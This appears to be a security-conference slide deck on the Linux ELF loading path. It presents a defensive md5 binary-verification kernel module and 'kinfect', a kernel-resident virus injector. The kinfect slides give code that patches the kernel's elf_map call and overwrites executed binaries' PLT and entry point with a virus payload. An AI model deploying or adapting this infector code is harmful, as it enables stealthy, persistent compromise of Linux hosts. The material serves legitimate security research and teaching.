IDEFENSE

Hooking the Linux ELF Loader

Richard Johnson
rjohnson@idefense.com

About

Who am I?

- Currently employed by iDEFENSE Labs
- 5 years professional security experience

Development Projects

- nologin.org
- uninformed.org

Agenda

IDEFENSE

- Linking and Loading
  - sys_execve execution chain
  - Runtime link editor
- md5verify
  - Concepts
  - Userland daemon implementation
  - Kernel module implementation
- kinfect
  - Concepts
  - Kernel infector implementation
  - ELF virus implementation

Linking and Loading

Basic Linking and Loading

IDEFENSE

Linux Loader

- Load binary into memory
- Perform relocations on ELF sections
- Pass control to the runtime linker

Runtime Linker

- Map shared libraries to process memory
- Perform relocations on symbols
- Return process execution to program's entry point

The Linux ELF Loader

IDEFENSE

Program executes libc's execve()

- Libc's execve() -> sys_execve() system call

sys_execve() system call [arch/i386/kernel/process.c]

- Wrapper for do_execve()

do_execve() [fs/exec.c]

- Populate file structure
- Populate bprm structure
- Locate binary handler
- Load binary

do_execve()

Populate file struct

- open_exec()
  - dentry_open()

Populate bprm struct

Locate binary handler

Load binary

```
564 struct file {
565         struct list_head        f_list;
566         struct dentry           *f_dentry;
567         struct vfsmount         *f_vfsmnt;
568         struct file_operations  *f_op;
569         atomic_t                f_count;
570         unsigned int            f_flags;
571         mode_t                  f_mode;
572         int                     f_error;
573         loff_t                  f_pos;
574         struct fown_struct      f_owner;
575         unsigned int            f_uid, f_gid;
576         struct file_ra_state    f_ra;
577
578         unsigned long           f_version;
579         void                    *f_security;
580
581         /* needed for tty driver, and maybe others */
582         void                    *private_data;
583
584 #ifdef CONFIG_EPOLL
585         /* Used by fs/eventpoll.c to link all the hooks to
this file */
586         struct list_head        f_ep_links;
587         spinlock_t              f_ep_lock;
588 #endif /* #ifdef CONFIG_EPOLL */
589         struct address_space    *f_mapping;
590 };
```

do_execve()

- Populate file struct
- **Populate bprm struct**
  - prepare_binprm()
- Locate binary handler
- Load binary

```
23 struct linux_binprm{
24         char buf[BINPRM_BUF_SIZE];
25         struct page *page[MAX_ARG_PAGES];
26         struct mm_struct *mm;
27         unsigned long p; /* current top of mem */
28         int sh_bang;
29         struct file * file;
30         int e_uid, e_gid;
31         kernel_cap_t cap_inheritable, cap_permitted,
cap_effective;
32         void *security;
33         int argc, envc;
34         char * filename;        /* Name of binary as seen by
procps */
35         char * interp;          /* Name of the binary really
executed. Most
36                                    of the time same as
filename, but could be
37                                    different for binfmt_
{misc,script} */
38         unsigned interp_flags;
39         unsigned interp_data;
40         unsigned long loader, exec;
41 };
```

search_binary_handler()

IDEFENSE

Populate file struct

Populate bprm struct

Locate binary handler

Load binary

Binary format handlers are registered in the init functions of their respective modules (binfmt_elf.c, binfmt_aout.c)

```
75 static struct linux_binfmt elf_format = {
76                 .module         = THIS_MODULE,
77                 .load_binary    = load_elf_binary,
78                 .load_shlib     = load_elf_library,
79                 .core_dump      = elf_core_dump,
80                 .min_coredump   = ELF_EXEC_PAGESIZE
81 };
```

```
1545 static int __init init_elf_binfmt(void)
1546 {
1547         return register_binfmt(&elf_format);
1548 }
```

search_binary_handler()

IDEFENSE

Populate file struct

Populate bprm struct

Locate binary handler

Load binary

search_binary_handler() cycles the available format handlers and attempts to execute the associated load_binary function

load_binary functions validate the header of the binary and continue if the appropriate binary handler was located

load_elf_binary()

IDEFENSE

Populate file struct

Allocate a new fd for the task

Populate bprm struct

Locate binary handler

Attempt to locate a PT_INTERP program header and determine interpreter file format

Load binary

Free up structures belonging to the old process

Calculate offsets for interpreter if the ELF is of type ET_DYN

load_elf_binary()

IDEFENSE

Populate file struct

Populate bprm struct

Locate binary handler

Load binary

Map the binary into memory via elf_map()

Map pages for the bss and heap

Call load_elf_interpreter() if the binary is dynamically linked and set the entry point to the mapped interpreter's address

Copy the process's environment, arguments, credentials, and the elf_info struct to the stack via create_elf_tables()

Finally, begin execution of the new task via start_thread() and return to userspace

The Runtime Link Editor (rtld)

IDEFENSE

The standard Linux rtld is ld-linux.so

Loaded by the kernel's load_elf_interpreter() function

Loads dynamic libraries into the process's memory space

Performs fixups on the GOT entries to point to the appropriate library symbols

Executing library functions

Execution is transferred to the PLT which contains stub code to reference the appropriate GOT entry for the requested function.

Linux implements lazy loading which resolves the address of the requested symbol when its first referenced by the binary

If the symbol has not been resolved, the GOT entry will return execution to the next instruction in the PLT which pushes the offset in the relocation table and calls PLT0.

PLT0 calls the rtld's symbol resolution function with the supplied offset and stores the returned value in the GOT entry for the requested symbol

md5verify

Concepts

A modification to the Linux ELF loader is made to validate the integrity of an executed binary

An md5 hash of the binary is calculated in kernel space and compared to a stored hash to verify the binary has not been modified

The stored hashes reside in a userland daemon application that communicates with the kernel via a character device

Compromised/unrecognized binaries can be blocked from execution or logged for later analysis

IDEFENSE

Userland daemon implementation

Daemon takes a command line argument specifying a file containing a list of files which are to be monitored

Md5 hashes are calculated for each file and stored in a splay tree indexed by device and inode which optimizes the lookups for frequently accessed binaries

Daemon polls the character device, waiting to be woken up by the kernel

When data is available on the device, a lookup is performed and the hash is passed back to the kernel

Kernel module implementation

The init function of the loadable kernel module registers a character device and hooks the load_elf_binary function, replacing it with a pointer to md5verify_load_binary()

```
244: static int __init
245: md5verify_init (void)
246: {
247:         if (register_chrdev (DRV_MAJOR, "md5verify", &drv_fops))
248:         {
249:                 printk (KERN_DEBUG "[hooker]: unable to get major %d\n",
250:                         DRV_MAJOR);
251:                 return -EIO;
252:         }
253:         md5verify_format = current->binfmt;
254:         k_load_binary = md5verify_format->load_binary;
255:         md5verify_format->load_binary = &md5verify_load_binary;
256:         printk (KERN_DEBUG "[hooker] load_binary handler hooked\n");
257:
258:         init_waitqueue_head (&poll_wait_queue);
259:         init_waitqueue_head (&kern_wait_queue);
260:         return 0;
261: }
```

Kernel module implementation

md5verify_load_binary retrieves the device number and inode of the file being executed and creates a buffer to send over the device: [device][inode][filename]

```
47: int
48: md5verify_load_binary (struct linux_binprm *linux_binprm,
49:                        struct pt_regs *regs)
50: {
51:         short device;
52:         DECLARE_WAITQUEUE (wait, current);
53:
54:         memset (fname, 0, sizeof (fname));
55:         if (strcmp (linux_binprm->filename, HOOKME) <= 0)
56:         {
57:                 device = (MAJOR (linux_binprm->file->f_vfsmnt->mnt_sb->s_dev)
58:                           * 256) + MINOR (linux_binprm->file->f_vfsmnt->mnt_sb->s_dev);
59:                 memcpy (fname, &device, 2);
60:                 memcpy (fname + 2,
61:                         &linux_binprm->file->f_dentry->d_inode->i_ino, 4);
62:                 strcpy (&fname[6], linux_binprm->filename);
```

Kernel module implementation

md5verify_sum() calculates the md5 hash of the binary to be executed

```
 89: int
 90: md5verify_sum (struct linux_binprm *linux_binprm)
 91: {
...
104:         ret = kernel_read (linux_binprm->file, 0, buf, size);
105:         if (ret < 0)
106:                 goto cleanup;
107:
108:         md5_starts (&ctx);
109:         md5_update (&ctx, buf, size);
110:         md5_finish (&ctx, md5sum);
```

Kernel module implementation

The buffer is sent over the device and the stored hash is retrieved and compared against the calculated hash

```
164: static ssize_t
165: drv_write (struct file *file, const char __user * buf, size_t len,
166:            loff_t * ppos)
167: {
...
176:         memset (file_hash, 0, sizeof (file_hash));
177:         if (copy_from_user (file_hash, buf, len))
178:         {
179:                 ret = -EFAULT;


 89: int
 90: md5verify_sum (struct linux_binprm *linux_binprm)
 91: {
...
120:         if (memcmp (md5sum, file_hash, 16) != 0)
121:         {
122:                 printk ("[%d] REJECTED!\n", i);
123:                 return -1;
124:         }
```

kinfect

Concepts

A modification to the Linux ELF loader is made to add kernel-resident virus injector

The kernel portion of the infector should not rely on kernel symbols so that the module may easily be converted into a /dev/(k)mem injectable payload

The virus is injected on the fly before load_elf_binary returns to userspace

Implementation

load_elf_binary() must be disassembled during initalization to locate all the subcalls in order to hook elf_map()

```
209: static int __init
210: kinfect_init (void)
211: {
212:   linux_binfmt = current->binfmt;
213:   o_load_binary = linux_binfmt->load_binary;
214:   o_load_library = linux_binfmt->load_shlib;
215:   linux_binfmt->load_binary = &ki_load_binary;
```

```
116: static int
117: ki_load_binary (struct linux_binprm *bprm, struct pt_regs *regs)
118: {
...
125:   // determine the sizeof load_binary
126:   count = (unsigned int) o_load_library - (unsigned int) o_load_binary;
127:   ret = (int) ki_dis_calls ((unsigned char *) o_load_binary, count);
```

Implementation

A fingerprint is taken based upon the number of 'and', 'call', and 'test' instructions found in each function called from load_elf_binary

```
152: static ssize_t
153: ki_dis_calls (unsigned char *buffer, ssize_t count)
154: {
...
174:       while (sub_off < 220)
175:       {
176:         Instruction *inst = &opcodeTable1[sub_ptr[sub_off]];
177:         sub_op_len = inst->getSize (inst, MODE_32, sub_ptr + sub_off);
178:         if (inst->mnemonic)
179:         {
180:           if ((strncmp
181:                ("call",
182:                 (unsigned char *) inst->mnemonic, 4) == 0) && sub_off > 80)
183:             calls++;
184:           if (strncmp ("and", (unsigned char *) inst->mnemonic, 3) == 0)
185:             ands++;
186:           if (strncmp ("test", (unsigned char *) inst->mnemonic, 4) == 0)
187:             tests++;
188:         }
189:         sub_off += sub_op_len;
```

Implementation

A fingerprint is taken based upon the number of 'and', 'call', and 'test' instructions found in each function called from load_elf_binary

```
191:        if (calls == 1 && ands == 4 && tests == 2)
192:        {
193:          hook_addr = (unsigned long *) (&buffer[offset] + 1);
194:
195:          o_elf_map_call =
196:            (unsigned long *) *(unsigned long *) (&buffer[offset] + 1);
197:          o_elf_map = (void *) sub_ptr;
```

Implementation

The call for elf_map is a relative 32bit call so the offset from the elf_map call to ki_elf_map() must be calculated before the hook can be placed

The hook is placed directly in the .text section of the kernel

```
143:   /* place elf_map hook */
144:   *(unsigned long *) hook_addr =
145:     (unsigned long) &ki_elf_map - (unsigned long) hook_addr - 4;
```

Implementation

ki_elf_map must change the requested permissions before calling the real elf_map

```
66:   type = MAP_PRIVATE | MAP_EXECUTABLE;
67:   prot = PROT_WRITE | PROT_READ | PROT_EXEC;
68:   base_addr = (unsigned long) o_elf_map (filep, addr, eppnt, prot, type);
```

Implementation

ki_elf_map reads in a copy of the executed binary into a temporary buffer and locates the .plt section for infection

```
70:   if (memcmp ((unsigned long *) base_addr, elf_sig, 4) != 0
71:       || eppnt->p_offset > 0)
72:     return base_addr;
73:
74:   size = filep->f_dentry->d_inode->i_size;
75:   buf = kmalloc (size, GFP_KERNEL);
76:   if (buf <= 0)
77:   {
78:     printk (KERN_DEBUG "Could not map file for infection\n");
79:     return base_addr;
80:   }
81:   if (kernel_read (filep, 0, buf, size) < 0)
82:     goto cleanup;
```

Implementation

ki_elf_map reads in a copy of the executed binary into a temporary buffer and locates the .plt section for infection

```
 84:   ehdr = (Elf32_Ehdr *) buf;
 85:   shdr = (Elf32_Shdr *) ((int) buf + ehdr->e_shoff);
 86:   strtab = &shdr[ehdr->e_shstrndx];
 87:   strings = (char *) ((int) buf + strtab->sh_offset);
 88:   for (pshdr = shdr, i = 0; i < ehdr->e_shnum; pshdr++, i++)
 89:   {
 90:     if (strcmp (&strings[pshdr->sh_name], ".plt") == 0)
 91:     {
 92:       *(long *) &elf_payload[0x4d] = shdr->sh_addr + pshdr->sh_size;
 93:       plt_addr = (void *) ((int) pshdr->sh_offset + 16);
 94:     }
 95:   }
 96:   if (plt_addr == NULL)
 97:   {
 98:     printk (KERN_DEBUG "Couldn't find plt_addr\n");
 99:     goto cleanup;
100:   }
101:   plt_addr += base_addr;
```

Implementation

Once the proper address has been resolved, the temporary buffer is free'd and modifications to the real mapping of the executable can be made

The plt virus is copied over the process's original plt and e_entry is modified to point to the plt

```
103:   real_ehdr = (Elf32_Ehdr *) base_addr;
104:   *(long *) &elf_payload[0xa9] = real_ehdr->e_entry;
105:   printk (KERN_DEBUG "Old e_entry: %x\n", real_ehdr->e_entry);
106:   real_ehdr->e_entry = (unsigned int) plt_addr;
107:   printk (KERN_DEBUG "New e_entry: %x\n", real_ehdr->e_entry);
108:   memcpy (&elf_payload[0x56], plt_addr, 16);
109:   memcpy (plt_addr, &elf_payload, sizeof (elf_payload));
```

Questions?